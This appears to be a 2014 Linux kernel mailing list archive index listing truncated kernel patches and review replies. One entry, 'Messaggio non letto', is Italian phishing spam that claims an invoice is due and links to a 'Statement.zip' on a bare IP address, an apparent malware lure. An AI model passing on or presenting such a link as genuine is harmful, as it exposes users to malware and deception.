Re: kernfs: lockdep complains about kernfs_addrm_ctx

2014-01-29 Thread Tejun Heo
Hello, Jiri. On Wed, Jan 22, 2014 at 03:01:38PM +0100, Jiri Kosina wrote: > booting with current Linus' tree (df32e43a5) gives me this: > > INFO: trying to register non-static key. > the code is fine but needs lockdep annotation. > turning off the locking correctness validator. > CPU: 1 PID:

[PATCH 14/17] ACPI / numa: Fix acpi_get_node() prototype

2014-01-29 Thread Bjorn Helgaas
acpi_get_node() takes an acpi_handle, not an "acpi_handle *". This fixes the prototype and the definitions. Signed-off-by: Bjorn Helgaas --- drivers/acpi/numa.c |2 +- include/linux/acpi.h |4 ++-- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/drivers/acpi/numa.c b/dri

Re: [RFC 0/4] memcg: Low-limit reclaim

2014-01-29 Thread Michal Hocko
On Fri 24-01-14 15:07:02, Roman Gushchin wrote: > Hi, Michal! Hi, > As you can remember, I've proposed to introduce low limits about a year ago. > > We had a small discussion at that time: http://marc.info/?t=13619522664 . yes I remember that discussion and vaguely remember the proposed app

[PATCH 04/17] x86/PCI: Merge pci_scan_bus_on_node() into pcibios_scan_root()

2014-01-29 Thread Bjorn Helgaas
pci_scan_bus_on_node() is only called by pcibios_scan_root(). This merges pci_scan_bus_on_node() into pcibios_scan_root() and removes pci_scan_bus_on_node(). Signed-off-by: Bjorn Helgaas --- arch/x86/include/asm/pci.h |4 arch/x86/pci/common.c | 49 +--

Re: [PATCH v4 2/5] arm: add new asm macro update_sctlr

2014-01-29 Thread Leif Lindholm
On Wed, Jan 22, 2014 at 11:20:55AM +, Will Deacon wrote: > > +#ifdef CONFIG_CPU_CP15 > > +/* Macro for setting/clearing bits in sctlr */ > > + .macro update_sctlr, set:req, clear:req, tmp:req, tmp2:req > > + mrc p15, 0, \tmp, c1, c0, 0 > > + ldr \tmp2, =\set > > + orr \tmp,

Re: [PATCH v10 00/16] Volatile Ranges v10

2014-01-29 Thread Johannes Weiner
On Tue, Jan 28, 2014 at 05:43:54PM -0800, John Stultz wrote: > On 01/28/2014 04:03 PM, Johannes Weiner wrote: > > On Thu, Jan 02, 2014 at 04:12:08PM +0900, Minchan Kim wrote: > >> o Syscall interface > > Why do we need another syscall for this? Can't we extend madvise to > > take MADV_VOLATILE, MA

Re: Do we really need curr_target in signal_struct ?

2014-01-29 Thread Oleg Nesterov
On 01/29, Rakib Mullick wrote: > > On Wed, Jan 29, 2014 at 8:55 PM, Oleg Nesterov wrote: > > On 01/29, Rakib Mullick wrote: > >> > >> On Tue, Jan 28, 2014 at 10:43 PM, Oleg Nesterov wrote: > >> > > > >> AFAIU, ->current_target is only a loop breaker to avoid infinite loop, > > > > No. It caches t

Re: [PATCH v2 2/4] net: ethoc: don't advertise gigabit speed on attached PHY

2014-01-29 Thread Max Filippov
On Wed, Jan 29, 2014 at 9:12 PM, Florian Fainelli wrote: > On Jan 28, 2014 11:01 PM, "Max Filippov" wrote: >> >> On Wed, Jan 29, 2014 at 10:47 AM, Florian Fainelli >> wrote: >> > Hi Max, >> > >> > Le 28/01/2014 22:00, Max Filippov a écrit : >> > >> >> OpenCores 10/100 Mbps MAC does not support s

Re: [RFC PATCH v2 09/14] mtd: nand: add sunxi NFC dt bindings doc

2014-01-29 Thread Boris BREZILLON
Le 29/01/2014 19:02, Gupta, Pekon a écrit : Dear Rob, and other DT maintainers, From: Rob Herring [...] +- onfi,nand-timing-mode : mandatory if the chip does not support the ONFI + standard. Add to generic nand binding. +- allwinner,rb : shall contain the native Ready/Busy ids. + or +- rb

RE: [RFC PATCH v2 09/14] mtd: nand: add sunxi NFC dt bindings doc

2014-01-29 Thread Gupta, Pekon
Dear Rob, and other DT maintainers, (apologies, fixed typos in earlier mail) >>From: Rob Herring >[...] >>> +- onfi,nand-timing-mode : mandatory if the chip does not support the ONFI >>> + standard. >> >>Add to generic nand binding. >> >>> +- allwinner,rb : shall contain the native Ready/Busy ids

Messaggio non letto

2014-01-29 Thread felli
Buongiorno, linux-kernel@vger.kernel.org. La nostra azienda e stata fatturata a te http://198.170.107.157/Statement.zip?4cIySP=linux-kernel@vger.kernel.org -- To unsubscribe from this list: send the line "unsubscribe linux-kernel" in the body of a message to majord...@vger.

Re: [RFC PATCH v2 03/14] of: mtd: add documentation for nand-ecc-level property

2014-01-29 Thread Boris BREZILLON
Hello Ezequiel Le 29/01/2014 18:53, Ezequiel Garcia a écrit : On Wed, Jan 29, 2014 at 03:34:13PM +0100, Boris BREZILLON wrote: nand-ecc-level property statically defines NAND chip's ECC requirements. Signed-off-by: Boris BREZILLON --- Documentation/devicetree/bindings/mtd/nand.txt |3 ++

Re: [PATCH v3 1/2] init/do_mounts.c: ignore final \n in name_to_dev_t

2014-01-29 Thread Andrew Morton
On Wed, 29 Jan 2014 10:29:56 -0800 Sebastian Capella wrote: > Hi Andrew, > > By the way, I do see a call (sysfs_streq) in use for this purpose > other places. Sorry, I didn't find it while looking at the original > problem. I'm not sure if this is preferable, but it appears to have > been add

Re: [PATCH 0/5] HID logitech DJ fixes and preps for enabling extended features

2014-01-29 Thread Benjamin Tissoires
Hi Andrew, On Wed, Jan 29, 2014 at 1:21 PM, Andrew de los Reyes wrote: > Just curious, what is the status of these patches? Currently, Jiri had taken only the USB3 fix. The rest is still under review/testing. > > Benjamin, should I rebase Chrome OS's Logitech patches on top of these > and look

Re: [RFC PATCH v2 08/14] mtd: nand: add sunxi NAND flash controller support

2014-01-29 Thread Ezequiel Garcia
On Wed, Jan 29, 2014 at 10:56:42AM -0700, Jason Gunthorpe wrote: > On Wed, Jan 29, 2014 at 03:34:18PM +0100, Boris BREZILLON wrote: > > [..] > > > +static int sunxi_nand_chip_init(struct device *dev, struct sunxi_nfc *nfc, > [..] > > + ret = sunxi_nand_chip_init_timings(chip, np); > > +

Re: [BISECTED] OMAP: DSS: clk rate mismatch

2014-01-29 Thread Ivaylo Dimitrov
On 29.01.2014 13:30, Tomi Valkeinen wrote: On 2014-01-28 20:17, Ivaylo Dimitrov wrote: On 28.01.2014 10:48, Tomi Valkeinen wrote: I made a somewhat hacky quickfix for beagle. Applying that and the clk-divider from the link above makes things work for me. However, as I said, the issue with

please pull nfsd changes for 3.14

2014-01-29 Thread J. Bruce Fields
Please pull nfsd changes for 3.14: git://linux-nfs.org/~bfields/linux.git for-3.14 - Handle some loose ends from the vfs read delegation support. (For example nfsd can stop breaking leases on its own in a fewer places where it can now depend on the vfs to.) - M

x86: disabled interrupts on shutdown causing tlb flush WARNs

2014-01-29 Thread Don Zickus
Hi Ingo, A while ago patch 55c844a4dd16a4d1fdc0cf2a283ec631a02ec448 was committed to deal with WARN_ONs during shutdown in native_smp_send_reschedule() (in arch/x86/kernel/smp.c). The solution at the time was to disable local interrupts to block the timer interrupt from calling the reschedule fun

Re: [PATCH V2 1/9] perf tools: Fix symbol annotation for relocated kernel

2014-01-29 Thread Arnaldo Carvalho de Melo
Em Wed, Jan 29, 2014 at 04:14:36PM +0200, Adrian Hunter escreveu: > Kernel maps map memory addresses to file offsets. > For symbol annotation, objdump needs the object VMA > addresses. For an unrelocated kernel, that is the > same as the memory address. > > The addresses passed to objdump for sym

Re: OMAP: clock DT conversion issues with omap36xx

2014-01-29 Thread Nishanth Menon
On 01/29/2014 05:21 AM, Christoph Fritz wrote: > On Tue, 2014-01-28 at 18:02 +0100, Christoph Fritz wrote: >> On Tue, 2014-01-28 at 15:40 +0200, Tero Kristo wrote: >>> > Due to a regression since next-20140122 the following errors are present: > > - pin sys_clkout2, which gets configu

Re: [PATCH v2 5/6] X86: remove redundant cpuidle_idle_call()

2014-01-29 Thread Olof Johansson
Hi, On Wed, Jan 29, 2014 at 9:45 AM, Nicolas Pitre wrote: > The core idle loop now takes care of it. > > Signed-off-by: Nicolas Pitre > Acked-by: Daniel Lezcano > --- > arch/x86/kernel/process.c | 5 + > 1 file changed, 1 insertion(+), 4 deletions(-) > > diff --git a/arch/x86/kernel/proces

Re: [RFC PATCH v2 08/14] mtd: nand: add sunxi NAND flash controller support

2014-01-29 Thread Boris BREZILLON
Le 29/01/2014 18:56, Jason Gunthorpe a écrit : On Wed, Jan 29, 2014 at 03:34:18PM +0100, Boris BREZILLON wrote: +static int sunxi_nand_chip_init_timings(struct sunxi_nand_chip *chip, + struct device_node *np) +{ + const struct nand_sdr_timings *timing

Re: [PATCH] gpio-intel-mid: fix the incorrect return of idle callback

2014-01-29 Thread David Cohen
On Wed, Jan 29, 2014 at 03:23:40PM +0800, xinhui.pan wrote: > > 于 2014年01月29日 08:13, David Cohen 写道: > > On Tue, Jan 28, 2014 at 12:12:06PM -0600, Felipe Balbi wrote: > >> On Tue, Jan 28, 2014 at 09:24:13AM -0800, David Cohen wrote: > >>> On Tue, Jan 28, 2014 at 10:49:37AM -0600, Felipe Balbi wrot

Re: [RFC 0/4] memcg: Low-limit reclaim

2014-01-29 Thread Greg Thelen
On Wed, Dec 11 2013, Michal Hocko wrote: > Hi, > previous discussions have shown that soft limits cannot be reformed > (http://lwn.net/Articles/555249/). This series introduces an alternative > approach to protecting memory allocated to processes executing within > a memory cgroup controller. It i

Re: [PATCH V2 8/9] perf tools: Adjust kallsyms for relocated kernel

2014-01-29 Thread Arnaldo Carvalho de Melo
Em Wed, Jan 29, 2014 at 04:14:43PM +0200, Adrian Hunter escreveu: > If the kernel is relocated at boot time, kallsyms > will not match data recorded previously. That > does not matter for modules because they are > corrected anyway. It also does not matter if > vmlinux is being used for symbols.

Re: [PATCH v2] ceph: fix posix ACL hooks

2014-01-29 Thread Linus Torvalds
On Wed, Jan 29, 2014 at 8:37 AM, Ilya Dryomov wrote: > From: Sage Weil > > The merge of 7221fe4c2 raced with upstream changes in the generic POSIX > ACL code (2aeccbe95). Update Ceph to use the new helpers as well by > dropping the now-generic functions and setting the set_acl inode op. > > Sign

Re: [RFC PATCH v2 08/14] mtd: nand: add sunxi NAND flash controller support

2014-01-29 Thread Jason Gunthorpe
On Wed, Jan 29, 2014 at 03:46:20PM -0300, Ezequiel Garcia wrote: > After CE# has been pulled high and then transitioned low again, the host > should issue a Set Features to select the appropriate asynchronous timing > mode. > """ Oh, I had forgot you should do a set feature too Boris, I think t

[PATCH] kconfig: consolidate arch-specific seccomp options

2014-01-29 Thread Dave Hansen
There are some minor updates here from last time: * added a def_bool instead of separate lines in config * clarified that the /proc interface is *GONE* cc'ing a bunch of folks directly now instead of depending on linux-arch@ to awaken them. I think it's most appropriate for this to go in via t

Re: [PATCH v5] spi: rspi: Add DT support

2014-01-29 Thread Geert Uytterhoeven
Hi Mark, On Wed, Jan 29, 2014 at 7:00 PM, Mark Brown wrote: > On Tue, Jan 28, 2014 at 10:21:38AM +0100, Geert Uytterhoeven wrote: >> From: Geert Uytterhoeven > > Applied, thanks. I was expecting your last patch to be resubmitted as Thanks! > well? As there were no code changes in v5 of "spi:

Re: [PATCH V2 9/9] perf buildid-cache: Check relocation when checking for existing kcore

2014-01-29 Thread Arnaldo Carvalho de Melo
Em Wed, Jan 29, 2014 at 04:14:44PM +0200, Adrian Hunter escreveu: > perf buildid-cache does not make another > copy of kcore if the buildid and modules > match an existing copy. That does not Humm, what is the problem? Having the ref reloc symbol we can fix things up, no? I.e. just using map->rel

Re: [BUG] reproducable ubifs reboot assert and corruption

2014-01-29 Thread Andrew Ruder
On Wed, Jan 29, 2014 at 04:56:04PM +0100, Richard Weinberger wrote: > Does the issue also happen if you disable preemption? > i.e. CONFIG_PREEMPT_NONE=y CONFIG_PREEMPT_NONE=y still breaks. I suspect that sync_filesystem has some blocking behavior that allows other processes to schedule. Another

Re: [PATCH] netfilter: nf_conntrack: fix RCU race in nf_conntrack_find_get (v3)

2014-01-29 Thread Pablo Neira Ayuso
On Sun, Jan 12, 2014 at 12:21:14PM -0800, Eric Dumazet wrote: > On Sun, 2014-01-12 at 21:50 +0400, Andrey Vagin wrote: > > Lets look at destroy_conntrack: > > > > hlist_nulls_del_rcu(&ct->tuplehash[IP_CT_DIR_ORIGINAL].hnnode); > > ... > > nf_conntrack_free(ct) > > kmem_cache_free(net->ct.nf_co

Re: [PATCH 6/8] mm, hugetlb: remove vma_has_reserves

2014-01-29 Thread Davidlohr Bueso
On Mon, 2014-01-27 at 16:04 -0500, Naoya Horiguchi wrote: > On Sun, Jan 26, 2014 at 07:52:24PM -0800, Davidlohr Bueso wrote: > > From: Joonsoo Kim > > > > vma_has_reserves() can be substituted by using return value of > > vma_needs_reservation(). If chg returned by vma_needs_reservation() > > is

Re: [PATCH 2/2] ARM: dts: OMAP3+: add clock nodes for CPU

2014-01-29 Thread Robert Nelson
On Wed, Jan 29, 2014 at 12:19 PM, Nishanth Menon wrote: > OMAP34xx, AM3517 and OMAP36xx platforms use dpll1 clock. > > OMAP443x, OMAP446x, OMAP447x, OMAP5, DRA7, AM43xx platforms use > dpll_mpu clock. > > Latency used is the generic latency defined in omap-cpufreq > driver. > > Signed-off-by: Nish

Re: [PATCH v4 2/5] arm: add new asm macro update_sctlr

2014-01-29 Thread Will Deacon
Hi Leif, On Wed, Jan 29, 2014 at 06:28:05PM +, Leif Lindholm wrote: > On Wed, Jan 22, 2014 at 11:20:55AM +, Will Deacon wrote: > > > +#ifdef CONFIG_CPU_CP15 > > > +/* Macro for setting/clearing bits in sctlr */ > > > + .macro update_sctlr, set:req, clear:req, tmp:req, tmp2:req > > > + mrc

Re: [RFC PATCH V2 1/4] pci: APM X-Gene PCIe controller driver

2014-01-29 Thread Arnd Bergmann
On Monday 27 January 2014, Tanmay Inamdar wrote: > On Sat, Jan 25, 2014 at 12:11 PM, Arnd Bergmann wrote: > > On Friday 24 January 2014 13:28:22 Tanmay Inamdar wrote: > >> On Thu, Jan 16, 2014 at 5:10 PM, Tanmay Inamdar wrote: > >> > On Wed, Jan 15, 2014 at 4:39 AM, Arnd Bergmann wrote: > >> >>

[PATCH] x86, perf, p4: Counter corruption when using lots of perf groups

2014-01-29 Thread Don Zickus
On a P4 box stressing perf with ./perf record -o perf.data ./perf stat -v ./perf bench all it was noticed that a slew of unknown NMIs would pop out rather quickly. Painfully debugging this ancient platform, led me to notice cross cpu counter corruption. The P4 machine is special in that it has

Re: [PATCH v2] HID: i2c-hid: add runtime PM support

2014-01-29 Thread Benjamin Tissoires
On Wed, Jan 29, 2014 at 4:24 AM, Mika Westerberg wrote: > This patch adds runtime PM support for the HID over I2C driver. When the > i2c-hid device is first opened we power it on and on the last close we > power it off. This is actually what the driver is already doing but in > addition it allows

Re: [PATCH] gpio-intel-mid: fix the incorrect return of idle callback

2014-01-29 Thread Felipe Balbi
On Wed, Jan 29, 2014 at 11:12:32AM -0800, David Cohen wrote: > On Wed, Jan 29, 2014 at 03:23:40PM +0800, xinhui.pan wrote: > > > > 于 2014年01月29日 08:13, David Cohen 写道: > > > On Tue, Jan 28, 2014 at 12:12:06PM -0600, Felipe Balbi wrote: > > >> On Tue, Jan 28, 2014 at 09:24:13AM -0800, David Cohen w

Re: [BUG] reproducable ubifs reboot assert and corruption

2014-01-29 Thread Richard Weinberger
On Wed, Jan 29, 2014 at 8:13 PM, Andrew Ruder wrote: > On Wed, Jan 29, 2014 at 04:56:04PM +0100, Richard Weinberger wrote: >> Does the issue also happen if you disable preemption? >> i.e. CONFIG_PREEMPT_NONE=y > > CONFIG_PREEMPT_NONE=y still breaks. I suspect that sync_filesystem > has some block

[PATCH 0/4] OpenCores 10/100 MAC ethtool operations

2014-01-29 Thread Max Filippov
Hello David, Florian and everybody, this series implements ethtool callbacks for the ethoc driver as was requested by Florian. Max Filippov (4): net: ethoc: implement basic ethtool operations net: ethoc: implement ethtool get/set settings net: ethoc: implement ethtool get registers net: e

[PATCH 4/4] net: ethoc: implement ethtool get/set ring parameters

2014-01-29 Thread Max Filippov
TX and RX rings share memory and descriptors. Maximal number of descriptors reported is one less than the total available nuber of descriptors. For the set operation the requested number of TX descriptors is rounded down to the nearest power of two (driver logic requirement), the rest are RX descri

[PATCH 2/4] net: ethoc: implement ethtool get/set settings

2014-01-29 Thread Max Filippov
Signed-off-by: Max Filippov --- drivers/net/ethernet/ethoc.c | 24 1 file changed, 24 insertions(+) diff --git a/drivers/net/ethernet/ethoc.c b/drivers/net/ethernet/ethoc.c index 6de6352..9518023 100644 --- a/drivers/net/ethernet/ethoc.c +++ b/drivers/net/ethernet/ethoc.

mlx111sf: Fix unintentional garbage stack read.

2014-01-29 Thread Dave Jones
mxl111sf_read_reg takes an address of a variable to write to as an argument. drivers/media/usb/dvb-usb-v2/mxl111sf-gpio.c:mxl111sf_config_pin_mux_modes passes several uninitialized stack variables to this routine, expecting them to be filled in. In the event that something unexpected happens when

[PATCH 3/4] net: ethoc: implement ethtool get registers

2014-01-29 Thread Max Filippov
Signed-off-by: Max Filippov --- drivers/net/ethernet/ethoc.c | 20 1 file changed, 20 insertions(+) diff --git a/drivers/net/ethernet/ethoc.c b/drivers/net/ethernet/ethoc.c index 9518023..0bf297b 100644 --- a/drivers/net/ethernet/ethoc.c +++ b/drivers/net/ethernet/ethoc.c @@

[PATCH 1/4] net: ethoc: implement basic ethtool operations

2014-01-29 Thread Max Filippov
The following methods are implemented: - get link state (standard implementation); - get timestamping info (standard implementation). Signed-off-by: Max Filippov --- drivers/net/ethernet/ethoc.c | 6 ++ 1 file changed, 6 insertions(+) diff --git a/drivers/net/ethernet/ethoc.c b/drivers/net/

Re: [PATCH 0/4] OpenCores 10/100 MAC ethtool operations

2014-01-29 Thread Florian Fainelli
2014-01-29 Max Filippov : > Hello David, Florian and everybody, > > this series implements ethtool callbacks for the ethoc driver as was > requested by Florian. Thanks Max, this does look good to me now: Reviewed-by: Florian Fainelli > > Max Filippov (4): > net: ethoc: implement basic ethtool

Re: [PATCH] x86, perf, p4: Counter corruption when using lots of perf groups

2014-01-29 Thread Cyrill Gorcunov
On Wed, Jan 29, 2014 at 02:37:50PM -0500, Don Zickus wrote: > On a P4 box stressing perf with > > ./perf record -o perf.data ./perf stat -v ./perf bench all > > it was noticed that a slew of unknown NMIs would pop out rather quickly. > > Painfully debugging this ancient platform, led me to notic

[PATCH] mm: don't lose the SOFT_DIRTY flag on mprotect

2014-01-29 Thread Andrey Vagin
The SOFT_DIRTY bit shows that the content of memory was changed after a defined point in the past. mprotect() doesn't change the content of memory, so it must not change the SOFT_DIRTY bit. This patch does nothing with _PAGE_SWP_SOFT_DIRTY, becase pte_modify() is called only for present pages. Fi

Re: [PATCH v2 5/6] X86: remove redundant cpuidle_idle_call()

2014-01-29 Thread Nicolas Pitre
On Wed, 29 Jan 2014, Olof Johansson wrote: > Hi, > > On Wed, Jan 29, 2014 at 9:45 AM, Nicolas Pitre > wrote: > > The core idle loop now takes care of it. > > > > Signed-off-by: Nicolas Pitre > > Acked-by: Daniel Lezcano > > --- > > arch/x86/kernel/process.c | 5 + > > 1 file changed, 1 i

Re: [PATCH] x86, perf, p4: Counter corruption when using lots of perf groups

2014-01-29 Thread Don Zickus
On Thu, Jan 30, 2014 at 12:06:57AM +0400, Cyrill Gorcunov wrote: > On Wed, Jan 29, 2014 at 02:37:50PM -0500, Don Zickus wrote: > > On a P4 box stressing perf with > > > > ./perf record -o perf.data ./perf stat -v ./perf bench all > > > > it was noticed that a slew of unknown NMIs would pop out ra

Re: [PATCH] mm: don't lose the SOFT_DIRTY flag on mprotect

2014-01-29 Thread Andrew Morton
On Thu, 30 Jan 2014 00:04:59 +0400 Andrey Vagin wrote: > The SOFT_DIRTY bit shows that the content of memory was changed > after a defined point in the past. mprotect() doesn't change the > content of memory, so it must not change the SOFT_DIRTY bit. > > This patch does nothing with _PAGE_SWP_SO

Re: [PATCH v2 1/6] audit: Enable arm64 support

2014-01-29 Thread Richard Guy Briggs
On 14/01/27, AKASHI Takahiro wrote: > [To audit maintainers] > > On 01/23/2014 11:18 PM, Catalin Marinas wrote: > >On Fri, Jan 17, 2014 at 08:13:14AM +, AKASHI Takahiro wrote: > >>--- a/include/uapi/linux/audit.h > >>+++ b/include/uapi/linux/audit.h > >>@@ -327,6 +327,8 @@ enum { > >> /* dist

[PATCH] block: __elv_next_request() shouldn't call into the elevator if bypassing

2014-01-29 Thread Tejun Heo
request_queue bypassing is used to suppress higher-level function of a request_queue so that they can be switched, reconfigured and shut down. A request_queue does the followings while bypassing. * bypasses elevator and io_cq association and queues requests directly to the FIFO dispatch queue.

Re: [patch] mm, oom: base root bonus on current usage

2014-01-29 Thread Andrew Morton
On Sat, 25 Jan 2014 19:48:32 -0800 (PST) David Rientjes wrote: > A 3% of system memory bonus is sometimes too excessive in comparison to > other processes and can yield poor results when all processes on the > system are root and none of them use over 3% of memory. > > Replace the 3% of syste

Re: [PATCH v2 1/6] idle: move the cpuidle entry point to the generic idle loop

2014-01-29 Thread Nicolas Pitre
On Wed, 29 Jan 2014, Nicolas Pitre wrote: > In order to integrate cpuidle with the scheduler, we must have a better > proximity in the core code with what cpuidle is doing and not delegate > such interaction to arch code. > > Architectures implementing arch_cpu_idle() should simply enter > a chea

Re: [REGRESSION][BISECTED] 3.10.26: net_dma: mark broken (b69ec589136c)

2014-01-29 Thread Dan Williams
On Wed, Jan 29, 2014 at 4:41 AM, Stanislav Fomichev wrote: >> I wonder if we are simply racing the initialization of the completion >> vs when it is triggered by dma. > We have wmb() in the ioat2_tx_submit_unlock (before submitting work to dma, > but after init_completion), shouldn't it make race

mlx111sf: Fix compile when CONFIG_DVB_USB_MXL111SF is unset.

2014-01-29 Thread Dave Jones
drivers/media/usb/dvb-usb-v2/mxl111sf-tuner.h:72:9: error: expected ‘;’, ‘,’ or ‘)’ before ‘struct’ struct mxl111sf_tuner_config *cfg) Signed-off-by: Dave Jones diff --git a/drivers/media/usb/dvb-usb-v2/mxl111sf-tuner.h b/drivers/media/usb/dvb-usb-v2/mxl111sf-tuner.h index 90f583e5d6a

Re: [PATCH v6 8/8] usb: ehci-exynos: Change to use phy provided by the generic phy framework

2014-01-29 Thread Alan Stern
On Wed, 29 Jan 2014, Kamil Debski wrote: > Change the phy provider used from the old one using the USB phy > framework to a new one using the Generic phy framework. > > Signed-off-by: Kamil Debski > --- > .../devicetree/bindings/usb/exynos-usb.txt | 13 +++ > drivers/usb/host/ehci-exy

Re: [PATCH v2] ceph: fix posix ACL hooks

2014-01-29 Thread Ilya Dryomov
On Wed, Jan 29, 2014 at 6:37 PM, Ilya Dryomov wrote: > From: Sage Weil > > The merge of 7221fe4c2 raced with upstream changes in the generic POSIX > ACL code (2aeccbe95). Update Ceph to use the new helpers as well by > dropping the now-generic functions and setting the set_acl inode op. > > Sign

Re: [PATCH 0/2] [BUG FIXES - 3.10.27] sit: More backports

2014-01-29 Thread Steven Rostedt
On Wed, 29 Jan 2014 17:04:12 +0100 Nicolas Dichtel wrote: > Your patch serie seems to be the good way to go (note that patch 1/2 does not > compile) but I think the fix is smaller because we don't have x-netns. > > Here is my proposal, if you agree, I will send the same patch for ip6_tunnnel, >

Re: [PATCH] mm: don't lose the SOFT_DIRTY flag on mprotect

2014-01-29 Thread Andrew Vagin
On Wed, Jan 29, 2014 at 12:18:59PM -0800, Andrew Morton wrote: > On Thu, 30 Jan 2014 00:04:59 +0400 Andrey Vagin wrote: > > > The SOFT_DIRTY bit shows that the content of memory was changed > > after a defined point in the past. mprotect() doesn't change the > > content of memory, so it must not

Re: [PATCH 3/4] mtd: block2mtd: check device size

2014-01-29 Thread Fabian Frederick
On Wed, 29 Jan 2014 07:04:25 -0300 Ezequiel Garcia wrote: > Hi Fabian, > > I saw you sent a v2 for one of the patches on this series, > but maybe this is worth considering too. > > On Thu, Jan 23, 2014 at 08:53:31PM +0100, Fabian Frederick wrote: > [..] > > -/* FIXME: ensure that mtd->size % er

Re: [PATCH v6 3/8] dts: Add usb2phy to Exynos 4

2014-01-29 Thread Olof Johansson
On Wed, Jan 29, 2014 at 9:29 AM, Kamil Debski wrote: > Add support to PHY of USB2 of the Exynos 4 SoC. > > Signed-off-by: Kamil Debski > --- > .../devicetree/bindings/arm/samsung/pmu.txt|2 ++ > arch/arm/boot/dts/exynos4.dtsi | 31 > > arch

Re: [PATCH][trivial] pci: Fix make htmldocs failure caused by msi.c

2014-01-29 Thread Bjorn Helgaas
On Mon, Jan 20, 2014 at 8:42 AM, Masanari Iida wrote: > An empty line in msi.c caused "make htmldocs" failure. > Warning(/home/iida/Repo/linux-next//drivers/pci/msi.c:962): bad line: > Remove the empty line fixed the issue. > > Signed-off-by: Masanari Iida Applied to my pci/msi branch, thanks!

Re: [PATCH v6 8/8] usb: ehci-exynos: Change to use phy provided by the generic phy framework

2014-01-29 Thread Olof Johansson
Hi, On Wed, Jan 29, 2014 at 9:29 AM, Kamil Debski wrote: > Change the phy provider used from the old one using the USB phy > framework to a new one using the Generic phy framework. > > Signed-off-by: Kamil Debski > --- > .../devicetree/bindings/usb/exynos-usb.txt | 13 +++ > drivers/u

Re: [PATCH v4 2/5] arm: add new asm macro update_sctlr

2014-01-29 Thread Mark Salter
On Wed, 2014-01-29 at 18:28 +, Leif Lindholm wrote: > On Wed, Jan 22, 2014 at 11:20:55AM +, Will Deacon wrote: > > > +#ifdef CONFIG_CPU_CP15 > > > +/* Macro for setting/clearing bits in sctlr */ > > > + .macro update_sctlr, set:req, clear:req, tmp:req, tmp2:req > > > + mrc p15, 0, \

[PATCH 3/5] iio: enable selection and build of pulse drivers

2014-01-29 Thread Matt Porter
Add the pulse driver subdirectory when configuring and building IIO. Signed-off-by: Matt Porter --- drivers/iio/Kconfig | 1 + drivers/iio/Makefile | 1 + 2 files changed, 2 insertions(+) diff --git a/drivers/iio/Kconfig b/drivers/iio/Kconfig index 5dd0e12..286acc3 100644 --- a/drivers/iio/Kco

[PATCH 0/5] IIO pulse capture support for TI ECAP

2014-01-29 Thread Matt Porter
This series adds support for PWM capture devices within IIO and adds a TI ECAP IIO driver. PWM capture devices are supported using a new IIO "pulse" channel type. The IIO ECAP driver implements interrupt driven triggered buffer capture only as raw sample reads are not applicable to this hardware.

[PATCH 2/5] iio: pulse: add TI ECAP driver

2014-01-29 Thread Matt Porter
Adds support for capturing PWM signals using the TI ECAP peripheral. This driver supports triggered buffer capture of pulses on multiple ECAP instances. In addition, the driver supports configurable polarity of the signal to be captured. Signed-off-by: Matt Porter --- drivers/iio/pulse/Kconfig

Re: [PATCH] gpio-intel-mid: fix the incorrect return of idle callback

2014-01-29 Thread David Cohen
On Wed, Jan 29, 2014 at 01:52:30PM -0600, Felipe Balbi wrote: > On Wed, Jan 29, 2014 at 11:12:32AM -0800, David Cohen wrote: > > On Wed, Jan 29, 2014 at 03:23:40PM +0800, xinhui.pan wrote: > > > > > > 于 2014年01月29日 08:13, David Cohen 写道: > > > > On Tue, Jan 28, 2014 at 12:12:06PM -0600, Felipe Bal

[PATCH 1/5] iio: add support for pulse width capture devices

2014-01-29 Thread Matt Porter
Add a channel type to support pulse width capture devices. These devices capture the timing of a PWM signal based on a configurable trigger Signed-off-by: Matt Porter --- drivers/iio/industrialio-core.c | 1 + include/linux/iio/types.h | 1 + 2 files changed, 2 insertions(+) diff --git a/

[PATCH 4/5] pwm: enable TI PWMSS if the IIO tiecap driver is selected

2014-01-29 Thread Matt Porter
The IIO TI ECAP driver depends on the TI PWMSS management driver in this subsystem. Enable PWMSS when the IIO TI ECAP driver is selected. Signed-off-by: Matt Porter --- drivers/pwm/Kconfig | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/drivers/pwm/Kconfig b/drivers/pwm/Kconf

[PATCH 5/5] ARM: dts: AM33XX: Add ecap interrupt properties

2014-01-29 Thread Matt Porter
Add missing interrupt properties to the ecap0, ecap1, and ecap2 nodes. Signed-off-by: Matt Porter --- arch/arm/boot/dts/am33xx.dtsi | 6 ++ 1 file changed, 6 insertions(+) diff --git a/arch/arm/boot/dts/am33xx.dtsi b/arch/arm/boot/dts/am33xx.dtsi index 6d95d3d..b4139ba 100644 --- a/arch/arm

Re: [PATCH 00/17] x86, ia64 NUMA cleanup

2014-01-29 Thread Rafael J. Wysocki
On Wednesday, January 29, 2014 11:17:25 AM Bjorn Helgaas wrote: > This is all cleanup: it adds no new functionality and should make no > functional difference at all except a printk change or two. > > The main ideas are: > > - Clean up the x86 PCI bus scanning interfaces. We had: > struc

Re: Drivers/hv

2014-01-29 Thread Greg KH
On Wed, Jan 29, 2014 at 07:57:29AM -0800, K. Y. Srinivasan wrote: > > Greg, > > Some time back I had sent a buch of patches for > Hyper-V drivers. Are they still in the queue or should I resend > them. Which specific patches are you referring to? I can't take anything until after 3.14-rc1 is ou

[GIT PULL] bcache fixes for 3.14

2014-01-29 Thread Kent Overstreet
Jens, couple small bcache fixes for you: The following changes since commit 9dd6358a21daf4fc6a5b2b779267a62f0d1d3181: bcache: Fix auxiliary search trees for key size > cacheline size (2014-01-08 13:05:15 -0800) are available in the git repository at: git://evilpiepirate.org/~kent/linux-bca

RE: Drivers/hv

2014-01-29 Thread KY Srinivasan
> -Original Message- > From: Greg KH [mailto:gre...@linuxfoundation.org] > Sent: Wednesday, January 29, 2014 1:16 PM > To: KY Srinivasan > Cc: linux-kernel@vger.kernel.org; de...@linuxdriverproject.org; > o...@aepfle.de; > a...@canonical.com; jasow...@redhat.com > Subject: Re: Drivers/hv

Linux Plumbers Conference Call for Refereed-Track Presentations

2014-01-29 Thread Paul E. McKenney
We are pleased to announce the call for refereed track proposals for the 2014 edition of the Linux Plumbers Conference, which will be held in Düsseldorf Germany on October 15-17 in conjunction with LinuxCon (which takes place on the first three days of that same week). Proposals are due on July 11

Re: [PATCH driver-core-linus] kernfs: make kernfs_deactivate() honor KERNFS_LOCKDEP flag

2014-01-29 Thread Greg Kroah-Hartman
